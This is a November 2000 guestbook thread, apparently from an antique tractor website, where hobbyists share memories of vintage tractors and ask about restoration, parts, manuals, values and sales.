Rob Trowbridge wrote on Tuesday, November 28, 2000 (PST):I have a 806/1066 pulling tractor and looking for 18.4x38 firestone super all traction 23degree 30-40% tread. Also looking for engine performance parts that fit a 466 IH engine 540 or 570c.i. sleeves and pistons. prefer riverside or hypermax. Also I need an flywheel explosion blanket. Oh yah, 806/1066, it's an 806 with a 414T engine and yes it can be done. Please respond if able to help or know where to purchase parts. IF IT AIN'T RED, LEAVE IT IN THE SHED.
Jeff Holsapple wrote on Tuesday, November 28, 2000 (PST):I have a 88 standard that I still use, but I need some parts for and I know of 3 more tractors close by. I would like to find a swapshop site, can you help?? Thanks
Kenny Sharpe wrote on Tuesday, November 28, 2000 (PST):I am 7 years old, I have lots of toy tractors and my favorite is Massey Harris just like my Dad Neil. If there are any other kids my age who like tractors you can E-mail anytime 4pm - 7pm.
Matt Harrington wrote on Tuesday, November 28, 2000 (PST):When we were kids in the late 60's my brother bought an H from a man a couple of miles away for $75. It had cultivators and other attachments. It was a hand crank but the magneto magnets were bad so we had to pull it to start. It ran fine after it started. He sure regrets selling that little tractor now.
Greg Moseley wrote on Tuesday, November 28, 2000 (PST):I have aquired a 671 sos diesel, has the original tach with 4993 hrs. It runs the best, The farmer I bought it from said he only used it to pull tobacca trailers. Would like to sell if anyone interested. All orignal.
Neil Sharpe wrote on Monday, November 27, 2000 (PST):I own a 44 Special with a three point hitch, anyone who could give me some information regarding this year of tractor I would appreciate it. I also have a "44" 6. I am a Massey Nut!
Neil Sharpe wrote on Monday, November 27, 2000 (PST):I own a 44 Special with a three point hitch, anyone who could give me some information regarding this year of tractor I would appreciate it. I also have a "44" 6. I am a Massey Nut!
Jeff Cade wrote on Monday, November 27, 2000 (PST):My wife and I just built a house on 5 acres and I was needing a mower. My brothers friend had a 1952 H with a woods finish deck on it. It was the best purchase ever.I'm in the process of restoring it. I guess I'm hooked now.
TommY SC wrote on Monday, November 27, 2000 (PST):My Aunt gave me the Tractor
Tommy Lanning S.C. wrote on Monday, November 27, 2000 (PST):My gave me a 1959 Farmall cub that has been in barn for years and was not operated in years. She gave it to me about 3 months ago. It is 100 % original. I got it home and did maintenance on it and it started right up.The only change to the tractor is the battery. I also got all the eqipment with it.
Bob Shackleford wrote on Monday, November 27, 2000 (PST):I have a tractor just like the one in the picture what is it worth . Only mine needs paint. Please respond. Thank you Curious!!!!!!!!!!!!!!!!!!
Joel wrote on Monday, November 27, 2000 (PST):I am looking at purchasing a 300 Utility as my first tractor. It has a front end loader, but no PTO and the tires are worn. Otherwise the tractor seems to be in good condition. Can anyone provide me with a fair price for this tractor? Thanks in advance.
John R. Murphy Bathurst New Brunswick Canada wrote on Monday, November 27, 2000 (PST):Thought I would go in and see your 420c..She is kinda pretty..I just picked one up but it doesn,t have all the goodies yours has,mine is the dry tractor,,she was previously used commercially to haul harrows at a peat moss farm,,underpcarrige is excellent. I also have a dealer technical manual hard cover covering the 420 and 430 line..
fran wrote on Monday, November 27, 2000 (PST):i have a 1939 model B restored, very nice tractor, show quality, with orignal owners manual. i want to sell will consider a model b in the fiftys on trade. i have pictures please e mail me and i will send them. thank you
David Sullivan wrote on Sunday, November 26, 2000 (PST):I have a tractor like this I'm parting out.
Bill Young wrote on Sunday, November 26, 2000 (PST):I am 13 years old and love to fool with old Farmall tractors , between me and my dad we have 9 Farmall tractors 1 Case tractor 4 of our Farmall M's are pulling tractors. We have one Farmall MD and it took us 3 engines to get it to run, because 2 of the engines had a cracked block, but now it runs like a charm and we plan on painting it this week.
Lyle Boeckholt wrote on Sunday, November 26, 2000 (PST):I have a WD45 diesel. Exceptional tractor. Have pulled in Out-of-field class tractor pulls, takes 1st in 5500# class! Great beating the Greens! Father and Grandfather had WD's, WC's, & 45's.
Kevin Marquardt wrote on Sunday, November 26, 2000 (PST):I have an H that I am trying to get running again. It seems to have a "sticky spot" when you manually crank the engine around. If you crank fast past the sticky spot the engine will start, but if you stop in the sticky spot you can't budge the engine. Checked valves, rods no problems. Tractor was in good condition when i found problem. Please help.
leen butter, strijen, holland wrote on Sunday, November 26, 2000 (PST):i just bought a minneapolis moline u special, serial number;01214877. building year; 1956. it runs and is complete, he needs new paint, and i am searching for the wright painting numbers. who can help me? by the way; a few years ago i have had a u-diesel, i sold this rear tractor wich i still regret.
Dan Hale wrote on Sunday, November 26, 2000 (PST): I have a 1952 Oliver HG60... At least I think it is but I don't see that model listed. Can anyone enlighten me on if in fact it is a HG60. It is in great shape!!! I may be interested in selling her.
Don Pechan wrote on Sunday, November 26, 2000 (PST):I own a Case "VC", "VA", and several others-one of the easiest ways to tell them apart is that the"VC" engine is a flathead, and the "VA" is overhead valve, but there are many other differences. The only parts that are interchangeable between the two, that I know of, are the rear wheels. The guy who wrote that a "VAC14" is an industrial version is in error-the industrial "VA" series tractor is a "VAI". A "VAC14" is Cases attempt at making a low slung tractor to directly compete with the Ford "8N'. Case built the "V" series in 1940 and 1941 only-the "VA" series was built from 1942 until 1955. The "V" series also had vendor built trans. and rearend gears, built by Clark Co. in Michigan. Parts are not easy to find for the "V" series, although they are not so tough for the "VA" series, as they made so many more of them, try a tractor junkyard.
Scott Foote wrote on Saturday, November 25, 2000 (PST):I have just finished reatoring my 1947 VAO. It came from the ranch next door, My grandfather can rember it when they frist got it. I was able to get it from the frist owner. It last ran in 1960. The engine was full of water. and the carb was in such bad shape That it could not be used.I'm proud to say that It now looks like new. I HAVE a vac and A VA, that are in peaces also I have one tractor that we are not sure whats its called but it is a case I don't want them. parts or hole if you are interested please wright me... Grass valley CA E.D.G.E&T. ASS. Branch 111
John Settles wrote on Saturday, November 25, 2000 (PST):I own 32 John Deere"s and the R is one of my favorites, this fall during harvest I used it to pull two hopper wagons that hold 275 bu. each loaded or 33000# plus the weight of the wagons with no problem, not bad for a twobanger!
Larry Davison wrote on Saturday, November 25, 2000 (PST):I am interested in purcashing a Farmall C tractor. I prefer one that is in working order. Any leads would be appreciated.
dave wrote on Saturday, November 25, 2000 (PST):I just came across an AC K model crawler, it has a baker blade with overhead hydraulics, the tractor ios fairly complete but has been sitting for a long time. The trtacks and pads do not look very worn Does anyone have any interest in it? Or what is the value as a parts machine? It is located near Phila. PA Dave djnewman at erols.com
Neil wrote on Saturday, November 25, 2000 (PST):Wanted; cultivator attachment for Allis-Chalmers G tractor have tool bar with manual lift. would like to buy other attachments also.
PATRICK BEINE wrote on Saturday, November 25, 2000 (PST):WD-45 TRACTORS CAME FROM THE FACTORY WITH A 6 VOLT BATTERY. I WAS THINKING ABOUT PUTTING AN 8 VOLT BATTERY IN MINE FOR BETTER STARTING. WOULD THIS CAUSE ANY PROBLEMS?
wilber wrote on Friday, November 24, 2000 (PST):Have had two 1066 still have one today they are a great tractor.
Bill Varney wrote on Friday, November 24, 2000 (PST):I am just getting interested in vintage tractors. I plan to use it when I retire a few years from now, on about 5 acres of land. I am considering a small Farmall C or Supper C. However, before I buy one, I would like to do some research. Any suggestions on what books I should read?
Jim Cobb wrote on Friday, November 24, 2000 (PST):I own a 1939 orchard 70. Just starting the restoration process. Where can I buy the points and outside fender skirts, decals and engine side curtains. The exhaust comes out of the side of the hood, but I cannot find any place that has a serial number suggesting it is a true orchard and not just a standard. any help is appreciated
Jim Taylor wrote on Friday, November 24, 2000 (PST):That machine must be very rare for I have never seen one like it before. All the same it is a credit to you . A very nice example.
Harry Case wrote on Thursday, November 23, 2000 (PST):I worked on a farm in Grundy County Iowa in 1967, employer had a Massey 44 Special, Allis wd45, Allis 190xt, and a Moline M5. This was my favorite, it would pull a 4x16 plow five mph and the amlitorque was as smooth as silk and never gave us any problems. This was one bullet proof tractor! When we were shelling corn the M5 was pulling a big dryer, a 500 gal. propane tank was attached to the M5's gas tank and we ran non stop for 7 days and nights without a break. When we finally shut her down to check the it was still on the full mark. They don't make them any tougher than that! That's what I remember about the M5 Minnnemo.
Dennis March wrote on Thursday, November 23, 2000 (PST):My dad owned a 770 with a narrow front end. I am looking for a model of this to put into my front room in my home as a memory of my child hood on the farm. Has anyone ever seen one or know of a place that might have one? Thanks.
woody wrote on Thursday, November 23, 2000 (PST):I owned a 10 for a long time,and really loved that tractor. I changed the motor from the stock 414 to a 466 with a "C" series cam. she runs 210 HP now and runs like a bear.watch out green cause here comes the RED.
max owens wrote on Thursday, November 23, 2000 (PST):I have a 48 case vac that runs with operator instruction manual to sell.
jurgen snauwaert wrote on Thursday, November 23, 2000 (PST):We are from belguim and have also a IHC 8-16. We want to restring hem but we don't now the right color of the tractor. Can anyone help?
Eric Kile wrote on Wednesday, November 22, 2000 (PST):I have an Oliver 1750 diesel tractor I bought last fall. I was wondering if anyone could tell me how to find the year it was made.
Raymond L. Norwood wrote on Tuesday, November 21, 2000 (PST):I have a Pacer and am wondering if the drivers seat in this
nick wrote on Tuesday, November 21, 2000 (PST):I am 13 and my grandpa had a 55 and a 555. If anyone has one of these tactors inoriginal condition for sale I would like to here from you. *tractor must be in western KS
nick wrote on Tuesday, November 21, 2000 (PST):I am 13 and own a 1946 Case DC. It can out pull big IH W-6's at the tractor pulls. I am looking for a manual, or another case D series tractor or a Case L in western KS. If anyone has these tractors in unrestored condition to get rid of I would like to here from you.
jason schott wrote on Tuesday, November 21, 2000 (PST):Does this guy who says The truth of the farmall line of tractors really Know what a tractor is. Is he also awear that the INTERNATIONAL HARVESTER COMPANY was bough out in 1984. Why don't he look at what the rest of the people who wrote on this page have to say.On My Grandparents farm we have all FARMALL/INTERNATIONAL Tractors and thy get the Job done with plenty of power
Ernest Peters wrote on Monday, November 20, 2000 (PST):I have a friend who is restoring a 1939 General tractor. Are there any books with color pictures, etc available to get the original color paint?
R.D. H wrote on Monday, November 20, 2000 (PST):I have a F-14, serial number 155563 and I would like to know what kind of value to sell these for. The motor is seized up so it will not run and all of the tractor is there. Thanks RDH
C.W.(Jim) Broughton wrote on Sunday, November 19, 2000 (PST):To; Chris... the serial number is usually found on the casting on the right side of your tractor,right next to the steering unit. To; Jerry...the serial number determines the year of your cub...1957-FCUB198231-204388...58 is 204389-211440, 1959 is 211441 to 214973 and if you are on the west coast, that second gear can be ordered out of California, see your IH dealer.
C.W.9Jim) Broughton wrote on Sunday, November 19, 2000 (PST):To; Doug Layman... your 1948 Cub, if original, is 6 volt, POSITIVE ground electrical system.The brown wire goes from the armature of the generator to the "gen" post on the regulator. The "field" from generator to "F" on the regulator.. The gray wire goes from the "Bat" terminal of the regulator to the ammeter.The light green wire from the "L" on the regulator to the ignition switch, and on through the fuse holder to the "bat" side (left) of the light switch..the violet wire goes from the "high" side of the light switch (upper right) to the headlights. The black and the white wires go to the rear light and or the flashers, is you have any, and are connected to the "low" switch and the lower left side.You can obtain the info from Intertec Int'l Cub shop manual.. P.O.Box 12901,Overland Park,KS 66282-2901.
Clark wrote on Sunday, November 19, 2000 (PST):My dad had an 81 in the 40's, when I was a small boy. In the early 50's, he traded it for a 101 Jr. My uncle had an 81, and later traded it for a 22 with hydraulics. Neither of the 81s had hydraulics. They were all real nice tractors.
Steve Behredsen wrote on Sunday, November 19, 2000 (PST):Easy on the throthle, our oliver was 6-cly gas and narrow front end. Great first tractor,in the 60's, an frist place in Iowa's Pochantas county fair. My question is , I thought that the number on the side read, "760" Oliver is this possible? or am I wrong?
Bill Wagaman wrote on Sunday, November 19, 2000 (PST):visit our web site wagamantiquetractors.tripod.com john deere pictures nothing runs like a deere or smells like a john!!!!!!
simon wrote on Sunday, November 19, 2000 (PST):i have just gotton what i belive to be a 300 utility with a loader backhoe on it it theres no hood but the gauges say ih acn anyone help me find what model this is or where to look for the number also the loader backhoe was made in widsor vermont any info would help
Norbert Nielsen, Kenmare, ND wrote on Sunday, November 19, 2000 (PST):Have one bottom plow (model A-192) and need lift handle tha bolts on tracto platform.Any body can would be appreciated.
JIM { HOSS } CLARK wrote on Saturday, November 18, 2000 (PST):I own a gas powered SUPER 55. In fact we still own the first one to come into Bedford County Pa.. How I know this is that my dads uncle Jack Conner was the Oliver dealer in Bedford County and we were the first ones to buy a Super 55 in that county. Due to uncle Jacks INTEGRITY & HONESTY he had a really great business. We lived in a very heavily populated OLIVER area and uncle Jack sold 99.9% of all the OLIVERS that came into Bedford County plus all the implements that went with them. We are in the process of restoring our little Oliver at this time. I have either helped restore or started & finished several blue ribbon winners. Our super 55 was our main tractor for many years, until back in the mid 70's my uncle Bill purchased a diesel 1600. We still have both of them and since we have gotten away from farming we use them only to mow the old pasture and plow snow. They are both getting a well diserved rest now. They are like family and will probably be around as long as any of the family is alive. They were truely great tractors. A good friend of mine Lynwood Mearkle has about 10 or 12 Olivers. He is still farming and uses them today and they all look like they just unloaded them off the dealer delivery truck. He and his dad both bought tractors from uncle Jack. I will be more than happy to help anyone find parts or whole tractors should they want me to. I drive a cryogenics transport delivering nitrogen - oxygen & welding gasses and cover quite a bit of ground. I am constantly looking for antique cars ,trucks & farm equipment and of course tractors are at the top of the list. Let me know what parts you are in need of & let me see what I can come up with. Not all old tractors have to die & it's up to people like you & myself to see they don't. Thank You HOSS
Ray Kessinger wrote on Saturday, November 18, 2000 (PST):I owned one and pulled five sixteens with a brillion plow packer in ill. It did a fine job.
Ellwood D. Miller wrote on Saturday, November 18, 2000 (PST):My father bought an R in 1954 sn 19863. Sold it in 1957. I began looking for it in 1988. Found it, 1996,bought it,1998.It was still being used on a farm. It is back home. A local newspaper did a story, called it,"darned old Tractor",a quote from my father.
Scott wrote on Friday, November 17, 2000 (PST):In 1939, My grandfather bought an L model, right off the showroom floor, in western N.Y. My Dad used it during WWII to plow and cultivate "victory gardens" --he was only 13. After my grandfathers death in the mid 70's, my Dad and I brought the L to Missouri where we restored it to its original condition. Now on my own fathers passing, I find myself with a tractor that bring back the best of memories. I cant wait to start making more great memories for my kids with that old L.
Arlis Mann wrote on Friday, November 17, 2000 (PST): I grew up on a 720 gas that my father bought new. We kept it for 20yrs and traded for a 3020D. Great tractor also but would like to bring the 720 back home. #7221623 any help would be appreciated.
jason schott wrote on Friday, November 17, 2000 (PST):We have a 966 BLACKSTRIP that really is a fun machine to drive. All that I can Say is I'll always be loyal to the power of Red
jason schott wrote on Friday, November 17, 2000 (PST):this tractor is one that is alway dependable for a farm even for a large scale farm this tractor is productive
Don Henscheid wrote on Thursday, November 16, 2000 (PST):We are in the process of restoring my grandfathers '53 Ford Jubilee. Just discovered are pictures of his 1929 Case L. I would love to find one to restore. Those were great tractors! Any info on price ranges options etc. Thanks
Keith Trimble wrote on Thursday, November 16, 2000 (PST):I am interested in a JD R tractor to buy. Contact me at 785-243-3798 or E-mail at pepper at dustdevil.com
John C wrote on Wednesday, November 15, 2000 (PST):To; John in St Louis - Don't know if you have found an HG yet, but I have an HG 68 Crawler Tractor that is in better than average condition. I am in western, Pa., about 10 hours away. If you have any interest give me a call at 724-282-8264.
chris wrote on Wednesday, November 15, 2000 (PST):where is the serial number located on the cub tractors?
T Harvey wrote on Wednesday, November 15, 2000 (PST):Does anybody know where we can find Minneapolis-Moline toy tractors? Thanks,
Bill S. wrote on Wednesday, November 15, 2000 (PST):Nice looking D-15! I have one and use it daily but it doesn't look quite as good as this picture. I am having some problems with mine and would like anyone that can give me some tips on this fine tractor as to tune-up etc. I do plan to restore it in the very near future. Thanks.
Charles Ray wrote on Wednesday, November 15, 2000 (PST):My son and I drove a good 720 with pony start around Sat. Did any of the 820's or 830's ever have a three point hitch? Can they be put on aftermarket? I have a 40 and MT J.D. for sale, needing mostly cosmetics, $1000 each, both have run recently.
Tony S wrote on Tuesday, November 14, 2000 (PST):Hello, i have a fordson power major(fpm) the ser.# is 1481234 on the eng. pad. i cant find any solid info. for when it was made. I want to rebuild the eng. When it was running it was very strong and always started. i have an extra trans. and rear end for it that i was thinking of selling. i also need to replace the clutch as i had to put it in gear before working her. the hyd. system works fine after i replace the seals. i do have a shop service book from I&T Shop Service that has helped repair it but i need more help. I would like to restore her to new. any of you tractor nuts can write and would be appreciated. thanks TS
Andy Rock wrote on Tuesday, November 14, 2000 (PST):I am helping out a friend. He has a 51 Super M his father purchased new. It was burned in a barn fire in 1999 and he is trying to restore it to Original condition. Can anyone help us find information on the exact decaling of the instrument panel, gear shifter, and the like?
Jeremy Walker wrote on Tuesday, November 14, 2000 (PST):I have a MM GIVLP that i bought from welters equipment in 1983. We pull it from 6500-14,000lbs in the no blower classes. We do not pull it any more because the other tractors can not bet it. So they outlawed it in the Midwest
Neville Mietzel wrote on Monday, November 13, 2000 (PST):Enjoyed looking through your Antique Tractor shed & finding this Allis B. My Father had one from new when I was 5 years old in 1941, on our farm in Gatton, Queensland,Australia. It was used for mixed farming ,i.e. Dairying, Lucerne hay, Potatoes,& other small crops, I remember my Father leting me drive it on my own one day, which was a "Pretty big Thing" for Kid in those days.
Brian Steiner wrote on Sunday, November 12, 2000 (PST):I suggest being carefull regarding challenges at tractor pulls.The JD tractors perform very well in their horsepower class but when classified by weight they can spot their opposition as much as 30 hp. Realising that a model 2130 is aproximatly the same weight as a model 60.
Brian Steiner wrote on Sunday, November 12, 2000 (PST):I suggest being carefull regarding challenges at tractor pulls.
Chris Armes wrote on Sunday, November 12, 2000 (PST): The person who thinks he is speaking the truth about Farmall M's is dead wrong. I use a 1941 M to plow a 70 acre field every year using a three bottom break away plow with 16 inch mullboards. This tractor is still original, has never been overhauled and still starts without choking it even in cold weather! The way I see it you are probably one of those green tractor lovers....I've pulled against those at the antique tractor pulls.....and I have BRAGGING RIGHTS!
Ray Connors wrote on Sunday, November 12, 2000 (PST):I grew up on Larson Farm in New Milford CT and all we had were John Deere tractors. We had a 720 D electric start row crop that just wouldn't quit. Peter traded it in at Riva equipment in Cannan for a 2020 that I still use. I would love to find that 720 and bring her home again. The only thing on it that stands out is the front housing was missing a piece of the casting by the impliment mounting bolts. I would imagine the tractor went to western mass, eastern NY, or NW Connecticut.
Ben Guthrie wrote on Sunday, November 12, 2000 (PST):Was metal detecting in a yard, my five year old son came up behind me and jokingly I asked him what he would like me to find for him. He said a little tractor with a man on it. While he was whatching me I proceeded to dig up a very small toy tractor with a man on it. It was incased in mud and about five inches down. That was 25 years ago. I just now got on this page to discover it is a Massey Harris 44. Any info on it would be appriciated.
joe maurath wrote on Saturday, November 11, 2000 (PST):recently purchased a 1952 case vac 12, narrow front.I am looking to restore this tractor but new to the game. Were can parts be purchased? currently need steering gears. do they still manufacture these parts or have stock remaining? St. louis, missouri area
D.Deveraux wrote on Saturday, November 11, 2000 (PST):I have La case with 471 GM have need for more information. have been informed by orginal owner that this tractor was built by or modified by GM for case Am dummer than hell on computer call 1 800 755 2706 Thanks!
mike b wrote on Saturday, November 11, 2000 (PST):Laurie M. The tractor would be pricless, considering the Farmall H was introduced in 1939
David Hollister wrote on Saturday, November 11, 2000 (PST):Was looking for manuals for an 811 that I'm ready to buy. As a special utility does that mean they (the 811's) always came with the loader and backhoe as this one has? Where would I look on the backhoe and the loader for ID so I could try to get the correct manualsvfor these? Thanks for any help.
kodiak wrote on Friday, November 10, 2000 (PST):1066 5000-7500k 806 4000-6500k price accordingly and don't buy from implement dealer forbest price any way if you got to ask you cant afford any way
Robert Eastman wrote on Friday, November 10, 2000 (PST):I now co-own a #730 diesel wide front by John Deere. I went to an auction to buy an early Ford tractor, the kind that I leaned how to drive on when I was a boy. When I saw the #730, and in a remarkably good condition, I had to have it. Those of you who went through the collecting of 60s muscle cars, as I did, know how this feels. I have some questions for anyone who knows this type of tractor. It was built in 1958 or 1959. It is the 2 cylinder type of diesel with the 24 volt electric start, and the compression release pedal start. QUESTIONS; What is the horsepower rating on this tractor? Because it has the wide front and is quite tall, is this considered to be a "row crop" tractor? Or a "high crop" tractor? The hood has no provision for an aircleaner to be extended through the hood. Is this unusual or is this incorrect? There is no hole in the hood where there should be one for an aircleaner extension. I have purchased the tractor in just the past few days. I would appreciate any help with suggestions for manuals for parts, service, or owners manuals. I have found a listing for some on the antiquetractors website. I'm sure those will do fine, but any additional suggestions will be welcome. This is my first tractor, and I have a long way to go to learn how to properly maintain it. In the small town where I live, there is a John Deere dealership and service center. A big reason why I chose John Deere over other quality brands. If I need to, I can drive it over to the service center, or for really big problems, they can come get it with truck and trailer for a short haul. Also, what batteries should be in the tractor? I know that it takes two 12 volt batteries. The ones that are in it look small. The ones that are in it seem to be doing the job, but there is a CENTRAL TRACTOR/FARM AND COUNTRY nearby. If I were going to buy new batteries, what part # with what features would you recommend? Also, the matter of cold weather starting. So that I do not "have to reinvent the wheel", what methods work for you? I have ruled out the use of eather because of the extremely thin "squish" area of the pistons to cylinders clearance. Serious damage could occur. I have my own ideas. I think that this is quite enough for my first letter. A BIG THANK YOU to the Tractor Shed for this forum, and to its' readers.
mark jarrels wrote on Friday, November 10, 2000 (PST):i am 46 years old... learned to drive a tractor on a farmall c at about 12... also learned quickly how to override the governor... finily retired from the navy and retured home and restored the old farmall c. love the old tractor but to this day can't figure out why may dad every bought it... 8n fords were the were the best tractors in 1950 with the 3 point hitch and hydralics. my old farmall c did nothing but pull wagons, spreaders and and a old horse drawn mower convered to two point but i loved it. it does have the touch control which was used for the mower. would love to put a belly mower on it so time and use it for our 1.5 acre lawn.
Leo Hagan wrote on Thursday, November 09, 2000 (PST):I have a Avery that I put a Nisson motor & tran in I use to mow my yard with. I also have a Leader tractor with an IXB4 motor. I need part to rebuild the motor. Where can I get them. {rings gaskets rod & main bearings} Thanks for any help Leo
Rex Bolliger wrote on Thursday, November 09, 2000 (PST): I wish I could remember what year z minnie I had in late 50;s. When I went ino military Dad put a farmhand stacker on it. Idon't know how many times he tipted it over on it's side. It was a gutty little critter. REX
Rex Bolliger wrote on Thursday, November 09, 2000 (PST): I wish I could remember what year z minnie I had in late 50;s. When I went ino military Dad put a farmhand stacker on it. Idon't know how many times he tipted it over on it's side. It was a gutty little critter. REX
Rex Bolliger wrote on Thursday, November 09, 2000 (PST): I wish I could remember what year z minnie I had in late 50;s. When I went ino military Dad put a farmhand stacker on it. Idon't know how many times he tipted it over on it's side. It was a gutty little critter. REX
Rex Bolliger wrote on Thursday, November 09, 2000 (PST): I wish I could remember what year z minnie I had in late 50;s. When I went ino military Dad put a farmhand stacker on it. Idon't know how many times he tipted it over on it's side. It was a gutty little critter. REX
Leah Cartwright wrote on Thursday, November 09, 2000 (PST):I am looking for information on the MH # 16 Serial # PGA 52058. Items like what year this tractor is, what was the purpose of this tractor. I am researching this for my university paper. All information is welcome. Thanks!
Curt Curl wrote on Wednesday, November 08, 2000 (PST):I farmed with a 720 diesel for 10 years on 200 acres.Pulled 4-14s and 12 foot equipment,she always done what she was asked and more.I also had a 52 AJohn Deere,I used to have people stop and stare at the two old tractors, surprised that they could still get the job done!I wish that I had never sold them.I miss the magical sounds of the putt putt that they made while running.It brings back alot of memories seeing pictures of the old tractors from around the country.It is very true, nothing runs like an old Deere!
Bryan lanier wrote on Wednesday, November 08, 2000 (PST):I have either a Mccormick Deering 15-30 or a 22-36 the serial number is gone, all i have to go by is the date stamped on the belly of the tractor ( 11-7-29). do you know how to tell the diffrence between them without tearing the engine down to find the bore size? it has a type F.M. magneto and the air cleaner is not a IHC. from what paint is left it was gray with a gray belt pully. thanks for the help.
Douglas Layman wrote on Wednesday, November 08, 2000 (PST):I recently purchased what I believe to be a 1948 Cub. I, like so many others wanted one practically all my life. I remember my uncle having one when I was a small child in the fifties. I'm wondering if anyone can help with a source for a schematic. My tractor runs fine but the regulator and light switch are not connected. I do not understand the functionality of the four position light switch which has two wire wound external resistors on the back.
Johnnie Tudyk wrote on Tuesday, November 07, 2000 (PST):Like the 1950 just purchased a 2050 4 wheel drive.It has wheel guard fuel tanks.Would like to sell or swap for regular fenders. Need a seat assembly for same tractor
Anthony wrote on Tuesday, November 07, 2000 (PST):I have a 300 utility and I just rebuilt the starter, but I don't know what combination the wires go on their are 4 wires one Blue, one Yellow,and two red one is more pink than red. the Blue one has a eyehole that will only fit on stud on the starter but I can't get the starter to work, well it does but as soon as I connect the wires it tries to start even if it's turned off with no key in. I don't know much about tractors any help would be appreciatied thanks
Bart Cushing wrote on Tuesday, November 07, 2000 (PST):Would any person know age of FMII with serial number 8340? Would appreciate knowing this. Have other 1 cyl. tractors but this is my first FM. Thank you.
Tim MacLaury wrote on Monday, November 06, 2000 (PST):I bought a Regular in rough shape but near complete on steel. Need small stearing gear on end of stearing shaft.Where can I find parts? Thanks Tim
Fred Frantz wrote on Monday, November 06, 2000 (PST):I need help with the wiring of my WD45 anyone that can help please e-mail me i would prefer a diagram in great detail I am trying to get ready to pull thank you
Felix cincotta wrote on Monday, November 06, 2000 (PST):i am looking for an MC in any condition as long as it is complete. i love M series tractors we live on a small farm and would like a small old bulldozer. i was wondering if anybody had one for sale. preferably with a blade but if not just the dozer would do. please e-mail if u have one for sale but i am only 18 so please no rediculous prices
Felix Cincotta wrote on Monday, November 06, 2000 (PST):my father bought a 2010 in the 70's he was the second owner. the first owner only used it to run a p.t.o. elevator and that was it. about 10 yrs ago he made the mistake of starting it in the cold with water in the radiator needless to say the block didn't take to that too good. he took the engine out parked it out back and left it until 2 yrs ago. i am 18 yrs old and i made him bring it inside so it wouldn't rust anymore i plan on restoring this fine machine. it's a rowcrop gas with big tires in the back. i was curious as to y alot of peoeple have deemed the 2010 as a lousy tractor. ours never gave us trouble till my dads foolish error. we also own a 2510diesel and love new generation tractors
fabian skretta wrote on Monday, November 06, 2000 (PST):What is the weight of a Case "L" tractor? Please email your thoughts....Thanks.....
Felix Cincotta wrote on Monday, November 06, 2000 (PST):sorry to write again i didn't know spaces mattered in e-mail so my e-mail address is felixdacat1 at aol.com
Felix Cincotta wrote on Monday, November 06, 2000 (PST):sorry to write but i didn't know spaces mattered in e-mail. so my e-mail address is felixdacat1 at aol.com
Felix Cincotta wrote on Monday, November 06, 2000 (PST):sorry to write again but i didn't think e-mail spaces mattered but apparently it does my e-mail address is felixdacat1 at aol.com
Felix cincotta wrote on Monday, November 06, 2000 (PST):i always wanted one of the fine and rare tractors. i read in a 2 cylinder magazine one was auctioned off for $56000 !!!!! i don't think i could afford that lol
Felix Cincotta wrote on Monday, November 06, 2000 (PST):i am 18 yrs old. when i was 16 i purchased an LA for $1300 in decent shape all complete and started right up. it also has calcium in the back tires. i managed to find a pair of cultivators for it but i am looking for 2 other pieces of equipment one is the 1 bottom plow for it and the other is the planting attachment they made i think it was called a pl-12 planter. also if there is any other equipment specifically made for the LA could u please e-mail me i would like to get it anywhere in the new england area
Felix Cincotta wrote on Monday, November 06, 2000 (PST):i recently purchased a barn-fresh MT widefront with complete set of MT 200 2 row cultivators with potato hillers for $1000 i also have the fertilizer hoppers and attachment in mint shape the tractor just needs some paint. i saw that they have a planting attachment that hooks onto the cultivators and goes behind them. it's a set of 2 row planters does anybody have this planter for sale?
Felix Cincotta wrote on Monday, November 06, 2000 (PST):i am looking for a bo lindeman crawler in any condition as long as it is complete i don't care where in the u.s. cause i can always arrange for trucking i am only 18 and like tractors with reasonable pricing(nobody that's married to the tractor and wants as much as a 450 crawler with a 4 cylinder diesel)
Felix Cincotta wrote on Monday, November 06, 2000 (PST):i for got to ad this in my other comment. i am also looking for 2 other tractors that look like allis chalmers g my dad has the sales catalogues for them since he was a kid one is called a blue G 1000. they have the engine in the back with a sliding steering wheel and can take allis G equipment the other is called Tuff-Bilt it looked like a G and was orange also but had tons of equipment made. unlike aliis chalmers these had a 3 point hitch system in the back and underneath. if u have any info i would love to hear from you
Laurie Marchand wrote on Monday, November 06, 2000 (PST):My father has resently past away. He has a 1937 IH McCormick Farmall, Model H, Front-end Hydrolic and the front wheels are ajustable (they can be apart or together).'The tractor is in great condition. My question is How do I get an appraisal on it, is there a site that you know of?
Bud wrote on Sunday, November 05, 2000 (PST):Nov. 4, 2000 I own and operate a cletrac HG42 (1948) I would like to replace the carburator. Does anyone know where I can obtain one. It currently has a marvel schebler TSX 65L 406 the original was a Tillotson #YC-10a.
Dick Staiert wrote on Sunday, November 05, 2000 (PST):My brother has recently acquired a 1917 8-16 and is restoring it. However he is not sure of the correct color scheme. He has seen several versions, but would like to paint it with "official" colors. Can anyone help?
David Farley wrote on Sunday, November 05, 2000 (PST):Does anyone have 1972 Massey Ferguson 12hp electric start hydrostatic transmission garden tractor., with a Techumpseh motor
greg wrote on Sunday, November 05, 2000 (PST):I own near 3 acres, its all flat, and i need a tractor for about 1/2 acre garden, and doing small chores. Is an Allis "b" a good tractor for me?
Fred Phipps wrote on Sunday, November 05, 2000 (PST):I have a '48 Pony - hydraulics - started to "bring it back to life" but it's still in a coma! We live in Haliburton, Ontario (3hrs. NE of Toronto) 705-457-9694 $500. o.b.o.
Dave wrote on Friday, November 03, 2000 (PST):I have a 550 which we got when we bought our place. We cut and bale hay, spread manure, blow snow and use it for odd jobs. Right now I am in need of bearings for the steering box and steering column. Any info would be appreciated
doug floch wrote on Thursday, November 02, 2000 (PST):I have a 1955 ferguson to-35 tractor with a Davis loader on it. It was bought new by my late father. Does anyone know if there is an aftermarket power steering unit that can be added?
Brian Maloney wrote on Thursday, November 02, 2000 (PST):restoring a massey model 33need info on manuals.tractor was given to me 10 years ago from the neibor.. just bought a 44 massey for 650.00 running. has high arch wide front.how many of these were made?
Franklin wrote on Thursday, November 02, 2000 (PST):I have recently restored a 1940 Farmall B. I am looking for a set of cultivators (possibly B-238)to use an a attachment for shows. If anyone knows where I might locate a set in the Tennessee, Kentucky or Alabama areas, please drop me a line. Thanks.
